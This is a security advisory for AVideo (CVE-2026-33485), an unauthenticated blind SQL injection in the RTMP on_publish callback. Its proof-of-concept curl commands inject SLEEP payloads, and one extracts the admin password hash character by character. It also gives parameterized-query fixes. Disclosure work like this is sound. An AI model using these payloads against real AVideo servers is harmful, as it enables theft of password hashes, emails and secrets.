Skip to content

Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

High
DanielnetoDotCom published GHSA-8p58-35c3-ccxx Mar 20, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload:

  • Avoids & and = (stripped by line 117)
  • Avoids _ and - in positions where cleanUpKey() would split
  • Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

  1. Extract all database contents via time-based blind SQL injection, including:

    • User password hashes (bcrypt)
    • Email addresses and personal information
    • API keys, session tokens, and live stream passwords
    • Site configuration and secrets stored in database tables
  2. Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $_GET['p'] parameter since on_publish.php:153 compares $_GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.

  3. Enumerate database structure — the injection can be used to query information_schema tables, mapping the entire database for further exploitation.

The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.

Recommended Fix

Use parameterized queries in both affected functions:

Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:

$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);

Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:

if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE ? ";
    $formats .= "s";
    $values[] = $key . '%';
}

Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:

if(!$strict){
    $parts = Live::getLiveParametersFromKey($key);
    $key = $parts['cleanKey'];
    $sql .= " `key` LIKE ? ";
    $formats = "s";
    $values = [$key . '%'];
}else{
    $sql .= " `key` = ? ";
    $formats = "s";
    $values = [$key];
}

All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-33485

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Credits